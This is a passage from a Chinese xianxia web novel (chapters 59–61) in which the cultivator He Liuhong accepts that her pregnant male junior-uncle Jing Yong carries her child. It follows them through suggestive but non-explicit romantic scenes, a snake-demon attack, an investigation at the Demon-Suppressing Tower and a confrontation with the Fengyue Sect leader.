贺流虹打量着他为难的样子,恍然大悟,纠结片刻后叹道:“我明白了小师叔,孩子需要一个名义上的母亲是吧,好,我认,生下来吧,我会养的。” 景雍确定自己没听错,差点一口气没喘上来,又当场晕过去。 他的眼睛飞快地变得湿润,泪水在眼眶中打转,窘迫又委屈地说道:“你就是这么想我的?我就是那种随随便便和别人乱来,最后还要让你来负责后果的人?” 他将眼泪憋回去,尽量让自己说出来的话显得冷静客观,“一开始我也不确定,但随着这个孩子一天天长大,身上属于你的气息也越来越明显,我是化神期,做到这一点并不难。” 贺流虹看了看他的肚子,又看了看他的脸,小师叔总体上说来是个单纯天真的人,应该做不出这种撒谎骗她的事,所以这个孩子还真是她搞出来的? 不是,她是怎么在小师叔的肚子里造出一个孩子的? 这一刻,贺流虹只感觉语言之苍白单薄不足以表达出她的迷惑,“真、真是我弄的?不是,我们不是只神交了几次吗,就算又顺便做了点什么,但是我们也没有……我就只是……我……那不就……你……这这这怎么会弄出人命呢,这不科学!” 景雍很真诚地问:“科学?” 听在贺流虹耳朵里很具有反讽的效果。是啊,都修仙了,讲什么科学。 贺流虹摆摆手,追求科学使她疲惫:“没什么,别管了。” 景雍望着她蔫头耷脑的样子,眼泪终于还是不争气地流下来,愈发对这具怪异的身体感到无地自容,于是又重新变成彤云的样子。 “所以你还是不相信,或者说,你觉得我刚才那副模样像个怪物,你觉得我恶心……” 贺流虹惊吓地捂住他的嘴,“可不能这么说自己,你这么好看,怎么会恶心。” 景雍半信半疑地看着她。 以往她的这些甜言蜜语会很快奏效,但现在并没有让景雍好受一些,一想到她还是不相信自己,还是不接受这个孩子,他就悲痛而又沮丧。 师兄竟然还期待他能凭这个孩子笼络住贺流虹的心,让她死心塌地留在天玄宗,真是高看他在她心目中的地位了。 贺流虹看他还是泪水涟涟,意识到问题的关键所在,掷地有声就差举手发毒誓地说道:“我真的相信你了,刚才是我傻了,误会你肚子里的小宝宝是别人的,以后我绝对不会这么想了!” 她说着,有些不太熟练地给了他一个拥抱,想了想,又偏过头在他脸颊上亲了亲,轻轻拍着他后背,“好了好了别难过了,你的肚子里还装着我们的小宝宝呢。” 景雍的身体有些僵硬,泪水是止住了,但又闹了个面红耳赤,真要说起来,这还是他第一次在如此清醒的情况下和贺流虹亲近。 他嗫嚅着:“你先放开我。” 贺流虹赶忙把他松开,再次观察他的表情之后,胆子又大起来了,调侃道:“咱们连宝宝都有了,还这么害羞呀。” 景雍半嗔半怒瞪她一眼,羞窘地背过身去,低声说道:“我是你师叔,不得无礼。” 贺流虹仗着自己把人哄好了,又多了个孩子,放肆许多,垫着脚尖悄悄靠近他背后,重新把人抱住,下巴抵在他肩上,凑在他耳畔问:“那师叔在床上怎么总缠着我不放?” 景雍又要哭了,偏又舍不得推开她,只好恨恨地骂道“你真是个坏东西!” 贺流虹笑得开心:“嘿嘿,我就是个坏东西,坏东西把师叔的肚子都搞大了。” 景雍的耳尖红得像要滴血,被她张嘴咬住,顿时浑身颤栗不止,哽咽一声,“别……别乱来……” “小师叔,把易容去了吧,”她的手慢慢移到他腹部,声音里带着诱哄的味道,“我想宝宝了,让我和宝宝打个招呼。” 景雍虽然隐约感觉她的语气和动作都不太对劲,但又挑不出她话里的毛病,孩子是她的,她的关心让他感到幸福。 于是他乖乖换掉了彤云那张脸,在她面前恢复了自己真正的模样。 贺流虹可算等到光明正大上手体验的机会,蹭蹭他的脖子,欢欣雀跃道:“小师叔,我好开心,我真的有宝宝啦。” 她的语调如此轻快,快乐的情绪溢于言表。 她是真的喜欢这个孩子,我们的孩子,景雍默默想着,嘴角难以抑制地上扬。 这样温情的气氛维持了不到片刻,景雍就感觉到自己的腰带被解开了。 他扭头困惑地看了始作俑者一眼。 贺流虹眨着眼睛真挚地说道:“小师叔,不知道为什么,我总觉得隔着衣服有些听不清宝宝说话。” 景雍今天又哭又闹折腾了她好几次,此时明知她在胡说八道,也不好再拆穿,只能假装不知,纵容她的胡作非为。 没过一会儿,贺流虹便又忍不住说道:“小师叔,地上凉,对宝宝不好,我们去床上吧。” 景雍在这一声声小师叔中身体滚烫,最终彻底失守。 大半天过去,贺流虹心满意足地下了床,留下床上的一片狼藉,和睡着时仍然发着抖轻轻啜泣的美人。 客栈的伙计送来吃食,说是请客人免费品尝的点心。 这里是风月宗的地盘,来来往往的修士很多,不是去花前月下,就是因爱生恨去寻仇,客栈为了招揽这些感情丰富的客人,花样也总是很多。 贺流虹看到那伙计对她挤眉弄眼,就知道事情并不简单。 “这点心,好东西,大厨最新研制的,”看起来 比贺流虹更小的女孩用老成的口吻说道,“床上不和谐多半是方法不对,试试我们这点心……” 贺流虹感到里面床上的人有转醒的理想,打断对方的话:“谢谢我们挺和谐的。” 那女孩停下话头,将东西放在桌子上,眼睛往里面瞄,忽然就化作一道残影朝床边飞射过去。 贺流虹定睛一看,竟然是一条蛇妖,飞快拔剑斩下去。 那条蛇浑身坚硬,剑竟然斩不动,她手腕翻转改变方向,一剑将其挑出房间。 刚追出门,已经有一群路过的修士蜂拥而上,将其大卸八块。 夺到蛇妖内丹的修士朝她笑道:“五百灵石到手,多谢道友助我除妖。” 贺流虹欲言又止,换成她还在外门打杂的时候,她多半要跟这人掰扯掰扯这五百块该怎么分。 她回到房间,景雍已经穿好衣服,脸颊还残留着晴潮染上的薄红。 刚刚发生的事他都知道了,他歉疚道:“妖族冲着我来的,给你惹麻烦了。” 贺流虹瞧着他用那张脸说这么正经的话,怪不习惯的,轻笑了一声。 第60章 第60章这么喊太见外了 景雍不知道自己现在的样子有多么惹人遐想,不解道:“怎么了?” 贺流虹反手关上房间的门,一边朝他逼近过去,一边可怜兮兮说道:“小师叔,我刚才因为保护你都快累死了,你身为长辈,是不是要给我一点补偿?” 景雍还没反应过来她这句话的用意,又被抱住了,他能明确感觉到贺流虹的变化,比起从前在神月峰相处的那段日子,她对他如今的身体多了更多浓烈的兴趣。 他既羞涩又无奈,想挣脱又舍不得,美目半阖,紧咬嘴唇,任由她施为。 被她带着到往极乐之时,他昏昏沉沉地想,要是她能一直这样离不开他就好了。 贺流虹对挺着孕肚的师叔过够了瘾,第二天恢复了一脸老实,再次面对师叔的时候,整个人从容很多,不再控制不住地浮想联翩。 景雍坐在床边,慢条斯理地穿衣服,顺便留意贺流虹的举动。 贺流虹在玩一套不知道什么时候收进芥子袋的茶具,煮好的茶水浇到茶宠上,香气遍布整个房间,茶宠慢慢变色。 她的动作和优雅没有关系,也称不上娴熟,纯属爱玩。 但是因为玩得太过专注,以至于景雍觉得打扰她都是一种残忍。 最后那只茶宠意外裂成了两半。 景雍竟有些忍不住地幸灾乐祸。 贺流虹嘀嘀咕咕骂了两声,把东西重新收进芥子袋,注意力总算又回到景雍身上。 此刻她看向景雍的目光清澈平静,是一种欲望和好奇心全部被满足之后的无欲无求,没有一丝丝邪念,闲聊般开口:“出来很久了,再不回去,掌门要着急了。” 景雍其实不太想回去,回去之后他只能呆在自己的神月峰,而他孕期的身体又不能适应神交的强度,贺流虹也不是他的徒弟,找不到理由像之前一样和他一起呆在神月峰。 但他还是懂事地点了点头:“也好,龙吟秘境要开始了,你不能在外继续耽搁。” 贺流虹摸了摸下巴,余光瞥了眼他的腰身,问出了一直想问的问题:“掌门他们知道你肚子里是我的孩子吗?” 景雍轻轻“嗯”了一声。 贺流虹暗自惊奇了一下,天玄宗那群长老竟然一次都没来找她问罪。 景雍像是瞧出她的想法,垂着眼帘说道:“掌门师兄早就想让我告诉你真相,他认为你会看在这个孩子的份上,对我更加看重一些。” 还有后半句他没说——也会因为这个孩子和他这个师叔而对天玄宗更加忠诚。 但他私心想要让自己排在天玄宗前面,想要贺流虹在意他多过在意天玄宗。 如果掌门师兄知道他这么想,一定会很失望。 贺流虹握着他的手再次保证道:“我的可怜小师叔,你就放心吧,我不是那种无情无义的人,我会对你和孩子负责的。” 景雍觉得有些丢人,他的那点小心思似乎都被看穿了,身为师叔却一次次像个孩子一样寻求承诺和保证。 贺流虹又说:“难怪掌门最近表现得怪怪的,还绕着弯子让我多关心你,我还以为他因为你这个给予厚望的师弟接连出现意外而承受不住打击,精神失常了。” 景雍摇了摇头,“他不会的,他还有你。” 正聊着掌门,贺流虹的传信玉简就亮了一下。 她用灵力接通,掌门那张操心的脸就出现在上空,先是朝贺流虹望了望,确认是本人,又看见了她旁边的景雍,见怪不怪地说道:“我就知道你师叔是跑出去找你了,还骗长老说是去除妖。” 贺流虹张嘴便胡说道:“这不怪小师叔,一定是宝宝想我了。” 景雍在人前一直掩饰自己的真实身形,自欺欺人的假装自己和常人无异,被贺流虹一说,不好意思地低下头。 掌门欣慰道:“看来他总算是告诉你了。”他又语重心长地劝贺流虹:“你师叔被你弄成这样,你千万不能辜负他,对他好一点,多关心他。” 贺流虹面对掌门碎碎念,有节奏地点着头,“好,好,好,那是肯定的。” 她答应得越快,掌门就越不放心,总觉得她还是太年轻了,可能收不住心。 贺流虹眼看着他要没完没了絮叨下去,连忙把景雍拉过来,道:“你跟我小师叔说两句吧。” 景雍走近后,脖子上暧昧的痕迹就清晰地显露出来,掌门刚开始还愣了一下,以为什么毒虫妖兽咬了他师弟,反应过来那是他的“乖徒儿”弄出来的之后,老脸一红闭上了眼。 没眼看,真的没眼看。 “贺流虹,你师叔都揣上你的崽了,你怎么还拉着他乱来!” 贺流虹本来在旁边开小差,冷不防又被吼了,怪迷茫的,“掌门,我们一家三□□流感情呢,怎么能叫乱来。” 掌门继没眼看之后又想堵住耳朵了,害怕她又说出什么刺激他这个老人家的浑话,赶紧说起另一件事:“琼华在这里刚好,我正有件事托他去处理。” 贺流虹听见没自己的事,搬了把椅子坐在旁边喝自己刚才煮的茶。 掌门的声音飘过来,带着几分凝重:“镇妖塔封印大妖的阵法被毁坏后一直没再去管,前几日有长老查看大妖冲破封印的留影,发现阵法有些异常。” 提到镇妖塔,贺流虹喝茶的动作慢下来,竖起耳朵认真听着。 掌门接着说道:“原本想着你身体不适,最好另找他人,但大妖是你灭的,你对那里最熟悉,由你再去现场检查一番我最放心。” 景雍自然没有推脱的必要,“掌门师兄放心,我立刻就去。” 贺流虹连忙凑过来:“我也去我也去。” 掌门伸出一根食指隔着虚空对她指指点点,“你别给我添乱,龙吟秘境五天后就要开启,是你一举突破元婴期的绝佳机会,这就给我赶回宗门为龙吟秘境做准备。” 贺流虹道:“不是还有五天吗,我这么快就回去,留我小师叔孤身去往镇妖塔,我晚上都担心得睡不着觉!” “你都金丹了,睡什么睡,给我修炼。” “哎你说你怎么说话自相矛盾,刚才还说让我要对师叔好一点,现在我只不过想陪他去镇妖塔,你都不让。” 景雍看着她和掌门争辩,深受触动,正想和掌门一样劝说她龙吟秘境比陪他更重要,那边掌门已经向她妥协了。 “三天,只能三天,三天后不管发生了什么都要立刻赶回来。” 贺流虹满意地笑道:“掌门师尊,我们一家三口能整整齐齐,那都是你的英明决断。” 掌门轻哼一声,扔过来一张进入镇妖塔的令牌,切断通讯。 贺流虹因为能和景雍一起去镇妖塔感到很高兴,景雍当然更高兴,只不过他性格内敛,最 多只是冲贺流虹显露出一个温情脉脉的笑。 没办法,贺流虹就吃这一套,看到美人欲说还休温柔浅笑,一时间差点忘了自己留下来到底是冲着镇妖塔,还是冲着小师叔。 两人很快来到镇妖塔下,守卫在此的修士看到贺流虹手上出示的令牌,开启层层结界,让两人进入其中。 贺流虹之前几次进来都鬼鬼祟祟,生怕引起守卫和其中的厉害妖族注意,也没有多逛,现在才发现塔内那股强大妖息大部分来自塔底,而地面上的几层都只关押着一些没什么道行的小妖怪。 她把镇妖塔想得太复杂了,强大的妖族都被一个个封印在各自的位置,根本没办法离开半步。 景雍在前面领路,带她往先前封印大妖的最底层去。 经过之前她存放乾坤珠的地方,她默默将东西拿回来,原本以为大妖被灭镇妖塔很长时间都不会再出乱子,现在看着事情好像没那么简单,被别人捡漏就亏大了。 她问景雍:“大妖有万年修为,当初怎么就被抓了呢,听说还是被风月宗宗主打败的,难道风月宗宗主那么厉害。” 景雍说道:“几百年前的事情,我也不太清楚,周宗主自那以后就重伤未愈,再没在人前露过面,所以那时候的细节也无人得知,只知道本就有伤,在凡界躲了一些时日,重新回到修真界后,又与自己的族人产生矛盾,或许周宗主因此才得手。” 贺流虹若有所思地点头。 两人逐渐深入地底,来到了最低层,塔底一片漆黑,修士能在黑暗中视物,但景雍还是拿出夜明珠分给贺流虹一颗。 周围的空间被照亮,有无数带着余烬的灰尘在飞舞,地面的符印有些已经消失,有些踩上去还会发出残余的光亮。 景雍说道:“封印虽已毁坏,但余威尚存,小心些。” 贺流虹放眼望去,从外面看起来不算太大的建筑,里面看起来宽旷无垠,残留的封印符文像散乱的不规则光点漂浮在空中,偶然接触到流窜到此处的妖族残魄,便发出刺啦一声响,随后地上就多了一层浅浅的灰烬。 整个偌大的空间灰蒙蒙的,地面起了黑雾,从腰部往下都淹没在黑雾中。 “都毁坏成这样了,还怎么调查,那只妖在这个地方呆了几百年,刚死妖族就全体出动来为她报仇,感觉她在妖族的人缘,啊不是,妖缘不错啊。” 贺流虹的声音在空旷的地底回荡,有种阴森的味道。 她一抬头,才发现景雍什么时候和自己走散了,更多的雾气朝她聚拢过来,像是有意识一般缠绕住她的四肢。 她想提醒景雍,却不能发出一点声音。 挂在腰间的芥子袋掉在了地上,袋口的禁制遭到损坏,她多年攒下的家当从里面滚出来,散了一地,心疼得她直皱眉。 乾坤珠也掉出来了,不过因为被法宝缩小到极致,肉眼看不见。 雾气像是也发现了乾坤珠的存在,将其包裹其中,只是刚一接近,珠子就狂躁地散发出骇人的能量,反过来将它们吞没。 贺流虹这时候也不知道是该期待景雍发现异常找到这里,还是该希望他什么都没察觉到。 她想留下乾坤珠,就得尽快解决麻烦。 除了不能行动,她并没有感到其他不适,镇静下来琢磨眼下的情形。 塔底留下的只有被毁坏的封印和残存的妖息,以及一些在塔内死去的妖族残魂。 最大的可能就是有妖族残魂想要对她进行夺舍,借机离开镇妖塔。 但她已是金丹,神魂更是在乾坤珠的折磨之下尤其的顽强抗打击,就算是万年大妖来了,也不能轻易如愿。 她释放神识寻找那缕作乱的残魂,准备揪出来后直接用神识将其碾碎。 让她意外的是,困住她的雾气忽然又全部散了,什么都没发生。 她有些怀疑是乾坤珠引来塔内某些妖族的注意,但乾坤珠不是今天刚出现在塔内的,要注意早注意到了,何必现在又来冒险从她这里夺走。 她一边想着,一边将散落在地上的零零碎碎全部家当往芥子袋里装。 轮到乾坤珠时,那颗珠子眨眼睛钻进了她的丹田,不出来了。 贺流虹在原地呆怔几秒,脸色有些难看。 她飞快将剩下的东西都捡起来,余光瞥见不远处还有个反射着微弱光芒的东西,以为自己漏掉了什么,朝那边走过去。 拿夜明珠一照,躺在地上的是一只狸花猫形状的小摆件,表面光润柔滑,十分精巧。 仔细回想,她的芥子袋中好像从没装过这样的小摆件。 这只是一件凡物,既没有灵智也没有什么特殊印记,然而给她一种似曾相识的感觉。 她的脑海中冷不丁浮现出医仙谷谷主煮茶品茗的画面,那里也同样有一只这样的小猫造型的茶宠摆件。 这只小狸花从材质做工上来看,和谷主的茶具正好是一套。 不同的地方在于,这只小狸花上面没有数百年浸润下沾染的灵气,似乎已被主人丢弃了很久。 谷主的东西出现在镇妖塔塔底,贺流虹很难不多想。 身后响起景雍急切的声音:“阿虹?” 贺流虹将东西收好,站起来朝声音传来的方向走去,快要遇上的时候,回应了一声:“小师叔,我在这里。” 她几步走上去,抓住了景雍肩膀。 景雍回过头,脸色苍白,“你怎么突然不见了?” 贺流虹将刚刚被游荡在这里的妖族残魂困住的过程说了,但略去了乾坤珠和那只茶宠。 景雍也觉得费解,“塔中气息混乱,妖族使用迷阵将你我隔开,大概是之后又意识到与你实力悬殊太大,知难而退了。” 贺流虹道:“只能是这样了。” 景雍确认她安然无恙,还是心有余悸,道:“我们先出去再说。” 贺流虹一边和他往外走,一边问:“你刚刚叫我阿虹?” 景雍有些不自在:“你不喜欢我这么喊你?” 贺流虹心里想着刚才的经历,嘴上就开始胡言乱语:“这么喊太见外了,你怎么不喊我‘宝贝’。” 景雍:“这样……不太好吧。” 贺流虹:“师叔肚子里有了宝宝,我就不能当你的宝贝了吗?” 景雍红着脸和她一前一后走出镇妖塔,守在外面的修士看见了,很是不理解,怎么琼华真人进镇妖塔调查了一趟,还害羞上了? 这是调查出什么劲爆刺激的内容了? 贺流虹接收到众人投来的疑问目光,无辜地说道:“看我干什么,我什么都不知道。” 众人并没有见过贺流虹的样子,但是她最近相继做了不少惊天动地的大事,比如把琼华真人的徒弟给杀了,所以还是很出名的。 这个时候利用排除法一推测,天玄宗能和琼华真人如此相熟却还不为人所熟知的弟子,就只剩下她了。 “原来是贺流虹啊,那琼华真人脸红就不奇怪了。” “他俩关系不简单呢,不知道神交多少次了。” “都神交了,别的道侣爱做的事肯定也顺便做了。” “俺听说琼华真人肚子里装着的极有可能就是她的娃捏。” “她真有两下子,前途无量。” “在镇妖塔幽会难道更有感觉吗。” 一群看门的修士就这样旁若无人地讨论了起来,仿佛只要做出抬手挡在嘴边的姿势就能自动隔音。 贺流虹张嘴正要 “提醒”他们,袖子被拉住。 景雍的脸色比刚才更为窘迫,低声道:“算了,不要生事。” 随后很快地拉着她离开了。 两人直接回了天玄宗,调查封印毁坏一事进行得比预料中顺利,掌门和长老们过来一起听消息。 贺流虹在路上已经听景雍说了一遍,此时和师姐师兄一起站在掌门旁边凑数。 景雍说道:“封印是先从塔外遭到破坏,松动之后大妖得以伺机出逃,有人在帮她。” 贺流虹一副心无旁骛的样子,听着旁边大师姐靠在柱子上打瞌睡的声音,心里很佩服,不愧是大师姐,站着开会都能睡觉。 另一边传来掌门的声音:“琼华觉得可能是何人在帮忙?或许是妖族,大妖有万年修为,是妖族的师祖,想救出她的妖修应当有很多。” “从破坏封印的手法上看,更像是仙门中人。”景雍不急不缓地说道。 有人说道:“有没有可能是妖族伪装?” 景雍想了想,“如果是妖修做的,没必要伪装。” “倒也没错,”掌门又问,“还有别的发现没有?” 景雍继续说道:“帮助大妖的人对塔底的封印似乎非常熟悉,并没有留下更多痕迹,恐怕只能调查到这里了。” 掌门神情复杂,感慨道:“恐怕仙门还藏着一个了不得的叛徒。” 贺流虹心想,想得太美了,这一看就不止一个。 她有些犯愁,要是谷主老太太真的和大妖有关系,并且还暗中帮助了对方出逃,她是揭发呢,还是装瞎呢。 妖族和人族打打杀杀是没错,但是没杀到她头上,她就很难不做到自私心发作,老太太怎么看都是个好人,宁逢也是她很喜欢的朋友,谷里还住着贺小霓和一群无家可归的小孩,医仙谷要是没了,天玄宗这样的名门大派可不会无条件养着一堆连灵根都没有的孩子。 贺流虹自己就吃够了无家可归流落街头的苦,第一次到医仙谷就很感慨,她当年刚穿过来的时候要是能遇上这样的老太太,那该有多好,那她就不会至今还被噩梦吓醒了。 “贺流虹?” 掌门的声音传过来,将她喊醒。 她挺了挺身板,“掌门师尊,有何吩咐。” “吩咐?我吩咐你们炸了师门还差不多。” 掌门长吁短叹,时时刻刻都在绝望,“你们一个两个的,不是睡觉就是发呆,还有出卖同门的恋爱脑,我天玄宗难道真的要完蛋了?” 贺流虹安慰道:“不会的,不会的,这不是还有一百多年才会完蛋嘛。” 在场都是宗门的核心,灵脉即将断绝不是秘密,也早已接受事实。 但也不是像这样拿来“安慰”人的。 掌门原以为自己只要常常活在绝望当中就不会再受伤,但他还是低估了自己新收的徒弟的攻击力。 他颤抖着手:“把她叉出去,叉出去,关进洞府修炼。” 贺流虹喊道:“我冤枉啊,让我再见我的小师叔最后一面,孩子不能一出生就没有娘亲啊。” 掌门骂骂咧咧:“龙吟秘境开启那日再放出来!” 其余人要么看着贺流虹被师姐师兄带走的背影,要么意味深长地看着她嘴里呼喊着的另一人。 景雍垂眸盯着衣服上的花纹,很含蓄地开口:“掌门师兄,她年纪还小。” 掌门当然知道他的意思,无非是觉得他太严苛了。 “你还护着她,你瞧瞧她每天不修炼的时候都在干什么,她就是因为太年轻,时至今日都没有意识到自身的责任和事情的严重性。” 景雍听不惯他这么说贺流虹,道:“阿虹她也没有你说的那么坏,她一直修炼得很刻苦,也很关心宗门的未来。” 有人出来打圆场,笑道:“闹得这么紧张做什么,你们也都听见了,她被带走之前还一直喊着她的小师叔呢,可见是对她的小师叔喜欢得很,怎么会不关心她小师叔自小长大的地方。” 又有人附和道:“没错,就算这孩子的心里还意识不到自己对宗门的责任,但是只要她心里还有琼华和孩子,就不会做出改换门庭或是叛离师门的事。” 掌门看向景雍,心情冷静了很多,也没那么绝望了,嘀咕着:“是我太着急了,总怕她三心二意。” 又充满期许地对景雍说道:“师弟,她很看重你和你肚子里的孩子,这真是一件幸事,你好好把这个孩子生下来,有了孩子,她的心才会定下来,不会轻易被外面的人笼络走。” 60-70 第61章 第61章小师叔也要拒绝我吗 贺流虹第二天又出来溜达。 本来她也不想出来,而是打算在龙吟秘境开启之前和乾坤珠交流一下感情,让它到时候别给她找事。 但事情主动找上她了。 风月宗宗主几百年不出关,一出关就跑到天玄宗,找一个寿命还没他零头的小弟子问罪。 贺流虹才知道风月宗宗主和周无疾是一家的。 风月宗宗主姓周,叫周荡,和周无疾并非出自同一脉,还隔着好几十代人,但也能攀上点族亲关系。 周家死了个引以为傲的小辈,心里有怨,但又没胆子挑衅天玄宗这样的大宗门,这时候有人想到了风月宗还有一位叔祖。 没想到叔祖这么好说话,一请就被请动了,立刻就跟着他们来天玄宗帮忙撑腰了。 天玄宗当然不会让人跑头上撒野,当即请来了左邻右舍,让各大仙门来评评理,哪有自己做了亏心事还反过来要说法的。 贺流虹和景雍这两位最关键的当事人都在场,周家那位管家指着贺流虹质问道:“你有证据吗,你凭什么说少爷堕入魔道,这一定是你为了除掉他而栽赃嫁祸!” 贺流虹贴心地提醒他:“除掉他不用这么麻烦哦,他在在宗门大比上和我立了生死契,就算他没有背叛师门堕入魔道,我杀他也能杀得理直气壮。” 管家强词夺理失败,又将矛头指向贺流虹身旁的琼华真人:“你为师不尊,做了丑事被少爷发现,趁宗门大比授意那贺流虹帮你灭口,你二人私相授受狼狈为奸共同谋害了少爷!” 景雍对这样的指控感到荒谬,周无疾当众拆穿他有孕的那份耻辱和羞愧到现在都让他记忆犹新,颤抖不止,此人竟还反咬一口说周无疾是被他和阿虹谋害。 管家变本加厉道:“你一个男人如同妇人一般挺着个大肚子,不是怪物是什么,我看你这肚子里装着的也是怪胎,天玄宗要是还有聪明人就该趁早将你逐出去,免得受你连累继续丢人!” 景雍尽管在人前隐藏了真实身形,但还是有很多人将好奇的目光落在他的腰腹之间。 他身形摇晃了一下,想到贺流虹可能要遭受风月宗和周家的刁难,强忍住转身离开躲回神月峰的冲动。 他的袖子动了几下,一只温热的手钻进袖口勾住他尾指,又挠了挠他掌心。 他偏过头,贺流虹冲他笑得狡黠,仿佛很喜欢这种众目睽睽之下偷偷摸摸的感觉。 他垂着眼,回握住她的手,见没人发现,有些紧张,又有些窃喜,至于周家带来的不快,都随着这点隐秘的亲昵举动烟消云散了。 贺流虹肃起脸,朝周家的方向说道:“我看丢人是你们,羡慕我小师叔就直说,我会想想办法让你也生上几个的。” 管家没想到自己遇上对手了,他觉得自己已经很擅长胡言乱语了,今天才知道天外有天。虽然他还没和琼华真人一样怀上,但他的脑子里开始不受控制地想象起自己肚子大起来的样子…… 见鬼,他都七十有六了,哪里能生孩子! 他气得当场破口大骂:“还有没有规矩,纵容一个黄口小儿在此出言不逊,你们天玄宗的每一个人,我周家的老祖宗不会放……” 风月宗宗主在后面轻轻咳了一声。 周家的管家连忙闭上嘴,意识到自己有大修叔祖撑腰有点飘了,一张 嘴就把叔祖变成了整个天玄宗的敌人。 他有些心虚地退到周荡身边,低声道:“老祖宗,小人说得句句属实啊,这天玄宗就是欺人太甚,将我周家还有老祖宗您不放在眼里啊,老祖宗要为周家做主啊!” 贺流虹一直在留意着周荡,他这副找上门来的举动很像是想拿找她“问罪”当借口,把她从天玄宗带走。 周荡和她对视一眼,神色微妙,又看向景雍,若有所思,最后收回视线,开始不紧不慢地整理自己的衣服,头发,首饰。 他看起来很漫不经心,周家人告的状全都没有听进去,完全不像是来为周家出头的。 景雍在他又一次朝自己看过来时说道:“周宗主,整件事情若说天玄宗有错,也只在我一人,身为周无疾的师父,我没有教导好他,让他误入歧途,残害同门,变成了一个不忠不义之人。” 周荡释放出神识将他扫视一遍,停在他的腹部,忽然笑了,看着贺流虹说道:“你师叔还真是个妙人。” 贺流虹不动声色,没有说话。 周荡自顾自地接着说道:“既然琼华真人都这么说了,我相信他不会看错自己的徒弟,天玄宗为仙门之首,定然不会滥杀无辜徇私枉法。” 周家有些傻眼,他们甚至都没奢求周荡真的为他们向天玄宗动手,只需要现在这里给他们增加一些气场,结果话没说上两句,直接倒戈了? 周家的家主终于忍不住跳出来:“这这这这怎么能行,我儿就白死了?”他对贺流虹怒目而视:“她必须要为此付出代价!” 周荡抬手扫扫身上不存在的灰尘,轻飘飘说道:“那是你的儿子技不如人,立了生死契就要做好死的那个人是自己的准备,整个修真界都认的道理,你不认?” 旁边当听众的其他宗门纷纷点头,“还是周宗主深明大义,不愧是能封印妖祖拯救修真界的大修!” “周宗主说得对啊,周无疾的死只能怪他周无疾自己。” “就是,想不到琼华真人如此心善,竟将过错揽到自己身上,他那个徒弟从前利用他的名义耍了多少威风,我朋友开个书铺被砸了五次,差点倾家荡产。” “有些人从根上就是坏的,谁教也没用。” “你们看周家这幅做派,主人躲在后面,让下人出来乱咬,既卑鄙又没担当,这种家风能养出什么好东西。” 七嘴八舌的议论声将周无疾连同周家批判了个彻底,周家失去了周荡这个靠山,畏畏缩缩不敢冒头,狼狈地逃了。 周荡还留在原地没动。 天玄宗也不好赶人家走,毕竟这位虽然几百年没出关,但提起来还是颇受敬重。 贺流虹有些警惕地看着他。 但他好想忽然对小师叔更感兴趣,或者说对小师叔的肚子更感兴趣。 在众人的注目下,周荡相当和气地开了口:“琼华真人身子如何,这一胎可还稳?” 因为景雍羞于在公开场合提及他目前的身体状况,天玄宗以及其他宗门为了和谐并存都很有默契地假装怀孕并不存在。 景雍微微诧异,以为对方故意提起这件事,也是为了耻笑他。 可周荡的神情很是专注,紧接着又说:“风月宗有些养胎的秘法,虽然不知是否对男子也有用,但如果你们需要,我这就送给你们。” 他说“你们”的时候,目光游走在景雍和贺流虹身上,就像已经知道孩子是贺流虹弄出来的,这在天玄宗甚至都还是只有少数人知道的秘密。 景雍雪白的脸颊泛起晚霞般漂亮的红晕,不知所措地眨眨眼,求助般看了贺流虹一眼。 贺流虹说:“我为小师叔请了医仙谷谷主来照看身子,就不麻烦周宗主了。” “医仙谷?”周荡思忖着,转而露出笑容,“医仙谷甚好,那是我多此一举了。” 他说完就很快站起来起身告辞。 贺流虹悄悄跟上去,刚走出没多远,就看到周荡正在等自己,还主动说道:“四处无人,想说什么就说吧。” 贺流虹问:“你什么意思?盯着我小师叔的肚子做什么?” 周荡一脸坦然:“同为仙门正道,琼华真人是一代翘楚,我顺道关心关心他的身体,有什么奇怪的。” 贺流虹差点笑出声,她要是没发现这人和妖族混在一起,说不定她真信了。 周荡一副无奈的样子,叹道:“看来你我之间有些误会,我只是想找你要点东西,虽然你现在不愿意给,但我们可以坐下来好好商量,完全不必你死我活。” 贺流虹装傻充愣:“完全不知道你在说什么。” 他毫不在意地继续说道:“比如你可以跟我提一些交换条件,让我助你当上掌门什么的,我定会拼尽全力满足。” 贺流虹说:“那你把所有的修为、灵石、法宝还有风月宗全部都传给我吧。” “……” 贺流虹:“一看就没诚意,还想骗我。” 周荡翻了个大白眼:“不是,到底是谁没诚意,我把家底都掏空给你,你不遵守诺言我还有手段讨回公道吗。” 贺流虹背着手往回走:“那算了,我走了。” “等等,”周荡喊道,“这样吧,我教你怎么让你小师叔给你生二胎吧,怎么样,这样行吗。” 贺流虹也翻了个大白眼,“你真变态,男人何苦为难男人,我小师叔生一胎就够辛苦了,要生二胎你帮我生。” 周荡感觉脑子有点眩晕,应该是被气的,扯了下嘴角,皮笑肉不笑道:“就算失忆了,也不能让阿爹给你生二胎吧,那关系不乱套了。” 从两人的几次短暂相处来看,贺流虹一点也不相信他们之间有什么正常父女血缘关系,如果贺小霓的记忆靠谱,那她们的“阿爹阿娘”也是够心理扭曲的,把孩子关在时间错位的虚假幻境里几百年。 她挥了挥手,“那你走吧,连孩子都不愿意给我生,我没有你这样的爹。” 周荡轻哼一声,拂袖而去。 贺流虹回到妙音峰没多久,收到谷主的信,信中说可能找到了小师叔怀孕的原因,一位数万年前的医修留下的手记中提到一件事,一对道侣神魂契合,在神交之后由神魂之力孕育出孩子,但是和普通胎儿一样是由女修生出来的。 至于为何在贺流虹和小师叔之间是小师叔来生,由于例子太少,谷主也不好确定原因,她在这封信结尾一本正经推测道:“可能你小师叔是先天易孕体质吧。” 随信到来的还有一本书,就是那本医修手记,以及几瓶药,信里提到由神魂孕育的胎儿要想顺利诞生,受孕之人的神魂和□□都会受到更多的折磨,需要好好养胎,一并附上养胎的法子。 贺流虹将信反复看了几遍,又拿着那几瓶药打量了一会儿,谷主和妖祖可能有联系,妖祖又是小师叔杀的,之后小师叔就中了迷情散,可以说这一切的根源都在那只大妖身上。 她不知道该不该像以前一样信赖医仙谷。 她把信拿给景雍看了,流露出担心的神态,“谷主说这个孩子可能会让你倍加折磨,小师叔,你受苦了。” 景雍却显得比平日里更高兴,珍惜地收好信,对贺流虹说道:“现在你总算全然相信我没骗你了吧。” 他知道贺流虹的癖好,所以即便羞耻,只要是和贺流虹私下相处,都不会遮掩原本的身形。 他很含蓄地握住贺流虹的手,慢慢放在自己隆起的腹部,不由自主地露出笑容:“这是我们的孩子。” 贺流虹也笑了,但是很不怀好意,“小师叔,隔着衣服,我有些看不清呢。” 景雍低着头,咬住唇,艰难地拒绝道:“不,不行,不能再这样了。” 